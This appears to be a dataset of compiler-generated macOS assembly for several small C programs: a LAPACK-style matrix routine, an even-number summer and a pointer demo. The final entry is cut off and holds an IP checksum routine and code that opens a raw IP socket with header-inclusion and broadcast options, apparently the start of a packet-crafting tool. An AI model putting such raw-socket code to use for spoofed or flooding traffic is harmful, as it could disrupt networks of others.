ldursw x9, [x29, #-76]
add x8, x8, x9, lsl #4
ldr d0, [x8, #8]
str d0, [sp, #80]
ldur x8, [x29, #-16]
ldr w8, [x8]
ldr w9, [sp, #88]
subs w8, w8, w9
ldr w9, [sp, #92]
add w8, w8, w9
stur w8, [x29, #-76]
ldur x8, [x29, #-32]
ldur x9, [x29, #-24]
ldr w9, [x9]
ldr w10, [sp, #88]
subs w9, w9, w10
ldr w10, [sp, #92]
add w9, w9, w10
ldur w10, [x29, #-68]
mul w9, w9, w10
add w9, w9, #1
add x2, x8, w9, sxtw #4
ldur x8, [x29, #-48]
ldrsw x9, [sp, #92]
add x4, x8, x9, lsl #4
adrp x3, _c__1@PAGE
add x3, x3, _c__1@PAGEOFF
str x3, [sp, #40] ; 8-byte Folded Spill
bl _zlarfg_
ldur x8, [x29, #-16]
ldr w8, [x8]
ldr w9, [sp, #88]
subs w8, w8, w9
ldr w9, [sp, #92]
add w8, w8, w9
ldur x9, [x29, #-24]
ldr w9, [x9]
ldr w10, [sp, #88]
subs w9, w9, w10
ldr w10, [sp, #92]
add w9, w9, w10
ldur w10, [x29, #-68]
mul w9, w9, w10
add w8, w8, w9
stur w8, [x29, #-76]
ldur x8, [x29, #-32]
ldursw x9, [x29, #-76]
lsl x9, x9, #4
fmov d0, #1.00000000
str d0, [x8, x9]
ldur x8, [x29, #-32]
ldursw x9, [x29, #-76]
add x8, x8, x9, lsl #4
movi d0, #0000000000000000
str d0, [x8, #8]
ldur x8, [x29, #-16]
ldr w8, [x8]
ldr w9, [sp, #88]
subs w8, w8, w9
ldr w9, [sp, #92]
add w8, w8, w9
stur w8, [x29, #-76]
ldur x8, [x29, #-24]
ldr w8, [x8]
ldr w9, [sp, #88]
subs w8, w8, w9
ldr w9, [sp, #92]
add w8, w8, w9
subs w8, w8, #1
sub x9, x29, #80
str x9, [sp, #32] ; 8-byte Folded Spill
stur w8, [x29, #-80]
ldur x8, [x29, #-48]
ldrsw x9, [sp, #92]
add x0, x8, x9, lsl #4
bl _Cd
str d0, [sp, #8] ; 8-byte Folded Spill
fneg d0, d1
str d0, [sp, #16] ; 8-byte Folded Spill
add x0, sp, #96
str x0, [sp, #48] ; 8-byte Folded Spill
bl __pCd
ldr d1, [sp, #8] ; 8-byte Folded Reload
ldr d0, [sp, #16] ; 8-byte Folded Reload
ldr x1, [sp, #24] ; 8-byte Folded Reload
ldr x2, [sp, #32] ; 8-byte Folded Reload
ldr x4, [sp, #40] ; 8-byte Folded Reload
ldr x5, [sp, #48] ; 8-byte Folded Reload
str d1, [x0]
str d0, [x0, #8]
ldur x8, [x29, #-32]
ldur x9, [x29, #-24]
ldr w9, [x9]
ldr w10, [sp, #88]
subs w9, w9, w10
ldr w10, [sp, #92]
add w9, w9, w10
ldur w10, [x29, #-68]
mul w9, w9, w10
add w9, w9, #1
add x3, x8, w9, sxtw #4
ldur x8, [x29, #-32]
ldursw x9, [x29, #-72]
add x6, x8, x9, lsl #4
ldur x7, [x29, #-40]
ldur x8, [x29, #-56]
add x8, x8, #16
mov x9, sp
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _zlarf_
ldur x8, [x29, #-16]
ldr w8, [x8]
ldr w9, [sp, #88]
subs w8, w8, w9
ldr w9, [sp, #92]
add w8, w8, w9
ldur x9, [x29, #-24]
ldr w9, [x9]
ldr w10, [sp, #88]
subs w9, w9, w10
ldr w10, [sp, #92]
add w9, w9, w10
ldur w10, [x29, #-68]
mul w9, w9, w10
add w8, w8, w9
stur w8, [x29, #-76]
ldr d0, [sp, #72]
ldur x8, [x29, #-32]
ldursw x9, [x29, #-76]
lsl x9, x9, #4
str d0, [x8, x9]
ldr d0, [sp, #80]
ldur x8, [x29, #-32]
ldursw x9, [x29, #-76]
add x8, x8, x9, lsl #4
str d0, [x8, #8]
b LBB0_19
LBB0_19: ; in Loop: Header=BB0_17 Depth=1
ldr w8, [sp, #92]
subs w8, w8, #1
str w8, [sp, #92]
b LBB0_17
LBB0_20:
stur wzr, [x29, #-4]
b LBB0_21
LBB0_21:
ldur w0, [x29, #-4]
ldp x29, x30, [sp, #192] ; 16-byte Folded Reload
add sp, sp, #208
ret
.cfi_endproc
; -- End function
.p2align 2 ; -- Begin function Cd
_Cd: ; @Cd
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, #8]
ldr x8, [sp, #8]
ldr d1, [x8]
ldr x8, [sp, #8]
ldr d0, [x8, #8]
movi d2, #0000000000000000
fmul d2, d0, d2
fmov d3, #1.00000000
fmul d0, d0, d3
fadd d1, d1, d2
str d1, [sp, #16]
str d0, [sp, #24]
ldr d0, [sp, #16]
ldr d1, [sp, #24]
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.p2align 2 ; -- Begin function _pCd
__pCd: ; @_pCd
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, #8]
ldr x0, [sp, #8]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "ZGEQL2"
.section __DATA,__data
.p2align 2 ; @c__1
_c__1:
.long 1 ; 0x1
.section __TEXT,__cstring,cstring_literals
l_.str.1: ; @.str.1
.asciz "Left"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__literal8,8byte_literals
.p2align 3 ## -- Begin function zgeql2_
LCPI0_0:
.quad 0x3ff0000000000000 ## double 1
.section __TEXT,__text,regular,pure_instructions
.globl _zgeql2_
.p2align 4, 0x90
_zgeql2_: ## @zgeql2_
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $176, %rsp
movq 16(%rbp), %rax
movq %rdi, -16(%rbp)
movq %rsi, -24(%rbp)
movq %rdx, -32(%rbp)
movq %rcx, -40(%rbp)
movq %r8, -48(%rbp)
movq %r9, -56(%rbp)
movq -40(%rbp), %rax
movl (%rax), %eax
movl %eax, -60(%rbp)
movl -60(%rbp), %eax
shll $0, %eax
addl $1, %eax
movl %eax, -64(%rbp)
movl -64(%rbp), %ecx
movq -32(%rbp), %rax
movslq %ecx, %rdx
xorl %ecx, %ecx
## kill: def $rcx killed $ecx
subq %rdx, %rcx
shlq $4, %rcx
addq %rcx, %rax
movq %rax, -32(%rbp)
movq -48(%rbp), %rax
addq $-16, %rax
movq %rax, -48(%rbp)
movq -56(%rbp), %rax
addq $-16, %rax
movq %rax, -56(%rbp)
movq 16(%rbp), %rax
movl $0, (%rax)
movq -16(%rbp), %rax
cmpl $0, (%rax)
jge LBB0_2
## %bb.1:
movq 16(%rbp), %rax
movl $-1, (%rax)
jmp LBB0_11
LBB0_2:
movq -24(%rbp), %rax
cmpl $0, (%rax)
jge LBB0_4
## %bb.3:
movq 16(%rbp), %rax
movl $-2, (%rax)
jmp LBB0_10
LBB0_4:
movq -40(%rbp), %rax
movl (%rax), %eax
movl %eax, -116(%rbp) ## 4-byte Spill
movq -16(%rbp), %rcx
movl $1, %eax
cmpl (%rcx), %eax
jl LBB0_6
## %bb.5:
movl $1, %eax
movl %eax, -120(%rbp) ## 4-byte Spill
jmp LBB0_7
LBB0_6:
movq -16(%rbp), %rax
movl (%rax), %eax
movl %eax, -120(%rbp) ## 4-byte Spill
LBB0_7:
movl -116(%rbp), %eax ## 4-byte Reload
movl -120(%rbp), %ecx ## 4-byte Reload
cmpl %ecx, %eax
jge LBB0_9
## %bb.8:
movq 16(%rbp), %rax
movl $-4, (%rax)
LBB0_9:
jmp LBB0_10
LBB0_10:
jmp LBB0_11
LBB0_11:
movq 16(%rbp), %rax
cmpl $0, (%rax)
je LBB0_13
## %bb.12:
movq 16(%rbp), %rcx
xorl %eax, %eax
subl (%rcx), %eax
movl %eax, -68(%rbp)
leaq L_.str(%rip), %rdi
leaq -68(%rbp), %rsi
movl $6, %edx
callq _xerbla_
movl $0, -4(%rbp)
jmp LBB0_21
LBB0_13:
movq -16(%rbp), %rax
movl (%rax), %eax
movq -24(%rbp), %rcx
cmpl (%rcx), %eax
jg LBB0_15
## %bb.14:
movq -16(%rbp), %rax
movl (%rax), %eax
movl %eax, -124(%rbp) ## 4-byte Spill
jmp LBB0_16
LBB0_15:
movq -24(%rbp), %rax
movl (%rax), %eax
movl %eax, -124(%rbp) ## 4-byte Spill
LBB0_16:
movl -124(%rbp), %eax ## 4-byte Reload
movl %eax, -96(%rbp)
movl -96(%rbp), %eax
movl %eax, -92(%rbp)
LBB0_17: ## =>This Inner Loop Header: Depth=1
cmpl $1, -92(%rbp)
jl LBB0_20
## %bb.18: ## in Loop: Header=BB0_17 Depth=1
movq -16(%rbp), %rax
movl (%rax), %eax
subl -96(%rbp), %eax
addl -92(%rbp), %eax
movq -24(%rbp), %rcx
movl (%rcx), %ecx
subl -96(%rbp), %ecx
addl -92(%rbp), %ecx
imull -60(%rbp), %ecx
addl %ecx, %eax
movl %eax, -68(%rbp)
movq -32(%rbp), %rax
movslq -68(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movsd (%rax), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -112(%rbp)
movq -32(%rbp), %rax
movslq -68(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movsd 8(%rax), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -104(%rbp)
movq -16(%rbp), %rax
movl (%rax), %eax
subl -96(%rbp), %eax
addl -92(%rbp), %eax
movl %eax, -68(%rbp)
movq -32(%rbp), %rdx
movq -24(%rbp), %rax
movl (%rax), %eax
subl -96(%rbp), %eax
addl -92(%rbp), %eax
imull -60(%rbp), %eax
addl $1, %eax
cltq
shlq $4, %rax
addq %rax, %rdx
movq -48(%rbp), %r8
movslq -92(%rbp), %rax
shlq $4, %rax
addq %rax, %r8
leaq -68(%rbp), %rdi
leaq -112(%rbp), %rsi
leaq _c__1(%rip), %rcx
callq _zlarfg_
movq -16(%rbp), %rax
movl (%rax), %eax
subl -96(%rbp), %eax
addl -92(%rbp), %eax
movq -24(%rbp), %rcx
movl (%rcx), %ecx
subl -96(%rbp), %ecx
addl -92(%rbp), %ecx
imull -60(%rbp), %ecx
addl %ecx, %eax
movl %eax, -68(%rbp)
movq -32(%rbp), %rax
movslq -68(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movsd LCPI0_0(%rip), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, (%rax)
movq -32(%rbp), %rax
movslq -68(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
xorps %xmm0, %xmm0
movsd %xmm0, 8(%rax)
movq -16(%rbp), %rax
movl (%rax), %eax
subl -96(%rbp), %eax
addl -92(%rbp), %eax
movl %eax, -68(%rbp)
movq -24(%rbp), %rax
movl (%rax), %eax
subl -96(%rbp), %eax
addl -92(%rbp), %eax
subl $1, %eax
movl %eax, -72(%rbp)
movq -48(%rbp), %rdi
movslq -92(%rbp), %rax
shlq $4, %rax
addq %rax, %rdi
callq _Cd
movsd %xmm0, -144(%rbp) ## 8-byte Spill
movq %xmm1, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -136(%rbp) ## 8-byte Spill
leaq -88(%rbp), %rdi
callq __pCd
movsd -144(%rbp), %xmm1 ## 8-byte Reload
## xmm1 = mem[0],zero
movsd -136(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd %xmm1, (%rax)
movsd %xmm0, 8(%rax)
movq -32(%rbp), %rcx
movq -24(%rbp), %rax
movl (%rax), %eax
subl -96(%rbp), %eax
addl -92(%rbp), %eax
imull -60(%rbp), %eax
addl $1, %eax
cltq
shlq $4, %rax
addq %rax, %rcx
movq -32(%rbp), %r11
movslq -64(%rbp), %rax
shlq $4, %rax
addq %rax, %r11
movq -40(%rbp), %r10
movq -56(%rbp), %rax
addq $16, %rax
leaq L_.str.1(%rip), %rdi
leaq -68(%rbp), %rsi
leaq -72(%rbp), %rdx
leaq _c__1(%rip), %r8
leaq -88(%rbp), %r9
movq %r11, (%rsp)
movq %r10, 8(%rsp)
movq %rax, 16(%rsp)
callq _zlarf_
movq -16(%rbp), %rax
movl (%rax), %eax
subl -96(%rbp), %eax
addl -92(%rbp), %eax
movq -24(%rbp), %rcx
movl (%rcx), %ecx
subl -96(%rbp), %ecx
addl -92(%rbp), %ecx
imull -60(%rbp), %ecx
addl %ecx, %eax
movl %eax, -68(%rbp)
movsd -112(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq -32(%rbp), %rax
movslq -68(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movsd %xmm0, (%rax)
movsd -104(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq -32(%rbp), %rax
movslq -68(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movsd %xmm0, 8(%rax)
## %bb.19: ## in Loop: Header=BB0_17 Depth=1
movl -92(%rbp), %eax
addl $-1, %eax
movl %eax, -92(%rbp)
jmp LBB0_17
LBB0_20:
movl $0, -4(%rbp)
LBB0_21:
movl -4(%rbp), %eax
addq $176, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.p2align 4, 0x90 ## -- Begin function Cd
_Cd: ## @Cd
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -24(%rbp)
movq -24(%rbp), %rax
movsd (%rax), %xmm1 ## xmm1 = mem[0],zero
movsd 8(%rax), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm3, %xmm3
movaps %xmm0, %xmm2
mulsd %xmm3, %xmm2
addsd %xmm2, %xmm1
movsd %xmm1, -16(%rbp)
movsd %xmm0, -8(%rbp)
movsd -16(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd -8(%rbp), %xmm1 ## xmm1 = mem[0],zero
popq %rbp
retq
.cfi_endproc
## -- End function
.p2align 4, 0x90 ## -- Begin function _pCd
__pCd: ## @_pCd
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
movq -8(%rbp), %rax
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "ZGEQL2"
.section __DATA,__data
.p2align 2 ## @c__1
_c__1:
.long 1 ## 0x1
.section __TEXT,__cstring,cstring_literals
L_.str.1: ## @.str.1
.asciz "Left"
.subsections_via_symbols
| the_stack_data/161080850.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _SumEvenElements ; -- Begin function SumEvenElements
.p2align 2
_SumEvenElements: ; @SumEvenElements
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, #24]
str w1, [sp, #20]
str wzr, [sp, #16]
str wzr, [sp, #12]
str wzr, [sp, #12]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #12]
ldr w9, [sp, #20]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_6
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldr x8, [sp, #24]
ldrsw x9, [sp, #12]
ldr w8, [x8, x9, lsl #2]
mov w10, #2
sdiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #16]
ldr x9, [sp, #24]
ldrsw x10, [sp, #12]
ldr w9, [x9, x10, lsl #2]
add w8, w8, w9
str w8, [sp, #16]
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_1 Depth=1
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #12]
add w8, w8, #1
str w8, [sp, #12]
b LBB0_1
LBB0_6:
ldr w0, [sp, #16]
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
; kill: def $x8 killed $xzr
stur xzr, [x29, #-16]
stur wzr, [x29, #-20]
add x8, sp, #24
str x8, [sp, #8] ; 8-byte Folded Spill
str wzr, [sp, #24]
str wzr, [sp, #20]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
ldr x8, [sp, #8] ; 8-byte Folded Reload
mov x9, sp
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _scanf
ldrsw x8, [sp, #24]
lsl x0, x8, #2
bl _malloc
stur x0, [x29, #-16]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
stur wzr, [x29, #-20]
b LBB1_1
LBB1_1: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-20]
ldr w9, [sp, #24]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB1_4
b LBB1_2
LBB1_2: ; in Loop: Header=BB1_1 Depth=1
ldur x8, [x29, #-16]
ldursw x9, [x29, #-20]
add x8, x8, x9, lsl #2
mov x9, sp
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _scanf
b LBB1_3
LBB1_3: ; in Loop: Header=BB1_1 Depth=1
ldur w8, [x29, #-20]
add w8, w8, #1
stur w8, [x29, #-20]
b LBB1_1
LBB1_4:
ldur x0, [x29, #-16]
ldr w1, [sp, #24]
bl _SumEvenElements
str w0, [sp, #20]
ldr w9, [sp, #20]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
mov w0, #0
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Enter Number Of Elements : "
l_.str.1: ; @.str.1
.asciz "%d"
l_.str.2: ; @.str.2
.asciz "Enter The Elements : \n"
l_.str.3: ; @.str.3
.asciz "Summation of all Even elements are : %d\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _SumEvenElements ## -- Begin function SumEvenElements
.p2align 4, 0x90
_SumEvenElements: ## @SumEvenElements
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
movl %esi, -12(%rbp)
movl $0, -16(%rbp)
movl $0, -20(%rbp)
movl $0, -20(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
movl -20(%rbp), %eax
cmpl -12(%rbp), %eax
jge LBB0_6
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movq -8(%rbp), %rax
movslq -20(%rbp), %rcx
movl (%rax,%rcx,4), %eax
movl $2, %ecx
cltd
idivl %ecx
cmpl $0, %edx
jne LBB0_4
## %bb.3: ## in Loop: Header=BB0_1 Depth=1
movl -16(%rbp), %eax
movq -8(%rbp), %rcx
movslq -20(%rbp), %rdx
addl (%rcx,%rdx,4), %eax
movl %eax, -16(%rbp)
LBB0_4: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_5
LBB0_5: ## in Loop: Header=BB0_1 Depth=1
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB0_1
LBB0_6:
movl -16(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl $0, -4(%rbp)
movq $0, -16(%rbp)
movl $0, -20(%rbp)
movl $0, -24(%rbp)
movl $0, -28(%rbp)
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.1(%rip), %rdi
leaq -24(%rbp), %rsi
movb $0, %al
callq _scanf
movslq -24(%rbp), %rdi
shlq $2, %rdi
callq _malloc
movq %rax, -16(%rbp)
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -20(%rbp)
LBB1_1: ## =>This Inner Loop Header: Depth=1
movl -20(%rbp), %eax
cmpl -24(%rbp), %eax
jge LBB1_4
## %bb.2: ## in Loop: Header=BB1_1 Depth=1
movq -16(%rbp), %rsi
movslq -20(%rbp), %rax
shlq $2, %rax
addq %rax, %rsi
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _scanf
## %bb.3: ## in Loop: Header=BB1_1 Depth=1
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB1_1
LBB1_4:
movq -16(%rbp), %rdi
movl -24(%rbp), %esi
callq _SumEvenElements
movl %eax, -28(%rbp)
movl -28(%rbp), %esi
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
xorl %eax, %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Enter Number Of Elements : "
L_.str.1: ## @.str.1
.asciz "%d"
L_.str.2: ## @.str.2
.asciz "Enter The Elements : \n"
L_.str.3: ## @.str.3
.asciz "Summation of all Even elements are : %d\n"
.subsections_via_symbols
| the_stack_data/147546.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
str w8, [sp, #12] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
sub x9, x29, #8
mov w8, #54
stur w8, [x29, #-8]
sub x8, x29, #12
mov w10, #62915
movk w10, #16456, lsl #16
fmov s0, w10
stur s0, [x29, #-12]
str x9, [sp, #24]
str x8, [sp, #16]
ldr x8, [sp, #24]
mov x9, sp
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
ldr x8, [sp, #16]
mov x9, sp
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
ldr x8, [sp, #24]
ldr w9, [x8]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
ldr x8, [sp, #16]
ldr s0, [x8]
fcvt d0, s0
mov x8, sp
str d0, [x8]
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
ldr w0, [sp, #12] ; 4-byte Folded Reload
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "\n address in ii = %u"
l_.str.1: ; @.str.1
.asciz "\n address in aa = %u"
l_.str.2: ; @.str.2
.asciz "\n value at address contained in ii = %d"
l_.str.3: ; @.str.3
.asciz "\n value at address contained in aa = %f"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__literal4,4byte_literals
.p2align 2 ## -- Begin function main
LCPI0_0:
.long 0x4048f5c3 ## float 3.1400001
.section __TEXT,__text,regular,pure_instructions
.globl _main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl $0, -4(%rbp)
movl $54, -8(%rbp)
movss LCPI0_0(%rip), %xmm0 ## xmm0 = mem[0],zero,zero,zero
movss %xmm0, -12(%rbp)
leaq -8(%rbp), %rax
movq %rax, -24(%rbp)
leaq -12(%rbp), %rax
movq %rax, -32(%rbp)
movq -24(%rbp), %rsi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
movq -32(%rbp), %rsi
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
movq -24(%rbp), %rax
movl (%rax), %esi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
movq -32(%rbp), %rax
movss (%rax), %xmm0 ## xmm0 = mem[0],zero,zero,zero
cvtss2sd %xmm0, %xmm0
leaq L_.str.3(%rip), %rdi
movb $1, %al
callq _printf
xorl %eax, %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "\n address in ii = %u"
L_.str.1: ## @.str.1
.asciz "\n address in aa = %u"
L_.str.2: ## @.str.2
.asciz "\n value at address contained in ii = %d"
L_.str.3: ## @.str.3
.asciz "\n value at address contained in aa = %f"
.subsections_via_symbols
| the_stack_data/181393943.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _checksum ; -- Begin function checksum
.p2align 2
_checksum: ; @checksum
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, #24]
str w1, [sp, #20]
str xzr, [sp, #8]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #20]
subs w8, w8, #1
cset w8, le
tbnz w8, #0, LBB0_3
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldr x8, [sp, #24]
add x9, x8, #2
str x9, [sp, #24]
ldrh w8, [x8]
mov x9, x8
ldr x8, [sp, #8]
add x8, x8, x9
str x8, [sp, #8]
ldrsw x8, [sp, #20]
subs x8, x8, #2
; kill: def $w8 killed $w8 killed $x8
str w8, [sp, #20]
b LBB0_1
LBB0_3:
ldr w8, [sp, #20]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_5
b LBB0_4
LBB0_4:
ldr x8, [sp, #24]
ldrb w8, [x8]
mov x9, x8
ldr x8, [sp, #8]
add x8, x8, x9
str x8, [sp, #8]
b LBB0_5
LBB0_5:
b LBB0_6
LBB0_6: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #8]
lsr x8, x8, #16
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB0_8
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_6 Depth=1
ldr x9, [sp, #8]
ldrh w8, [sp, #8]
; kill: def $x8 killed $w8
add x8, x8, x9, lsr #16
str x8, [sp, #8]
b LBB0_6
LBB0_8:
ldr x8, [sp, #8]
mvn x8, x8
; kill: def $w8 killed $w8 killed $x8
and w0, w8, #0xffff
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #144
.cfi_def_cfa_offset 144
stp x29, x30, [sp, #128] ; 16-byte Folded Spill
add x29, sp, #128
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
stur w0, [x29, #-8]
stur x1, [x29, #-16]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
ldur w8, [x29, #-8]
subs w8, w8, #2
cset w8, ge
tbnz w8, #0, LBB1_2
b LBB1_1
LBB1_1:
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
ldur x8, [x29, #-16]
ldr x8, [x8]
mov x9, sp
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
mov w0, #-1
bl _exit
LBB1_2:
bl _rand
; implicit-def: $x8
mov x8, x0
sxtw x8, w8
stur x8, [x29, #-24]
ldur x8, [x29, #-16]
ldr x0, [x8, #8]
bl _inet_addr
mov w8, w0
; kill: def $x8 killed $w8
stur x8, [x29, #-32]
mov w0, #2
mov w1, #3
mov w2, #255
bl _socket
stur w0, [x29, #-36]
ldur w8, [x29, #-36]
subs w8, w8, #0
cset w8, ge
tbnz w8, #0, LBB1_4
b LBB1_3
LBB1_3:
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
mov w0, #-1
bl _exit
LBB1_4:
sub x3, x29, #40
mov w8, #1
stur w8, [x29, #-40]
ldur w0, [x29, #-36]
mov w1, #0
mov w2, #2
mov w4, #4
bl _setsockopt
adds w8, w0, #1
cset w8, ne
tbnz w8, #0, LBB1_6
b LBB1_5
LBB1_5:
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
mov w0, #-1
bl _exit
LBB1_6:
ldur w0, [x29, #-36]
mov w1, #65535
mov w2, #32
sub x3, x29, #40
mov w4, #4
bl _setsockopt
adds w8, w0, #1
cset w8, ne
tbnz w8, #0, LBB1_8
b LBB1_7
LBB1_7:
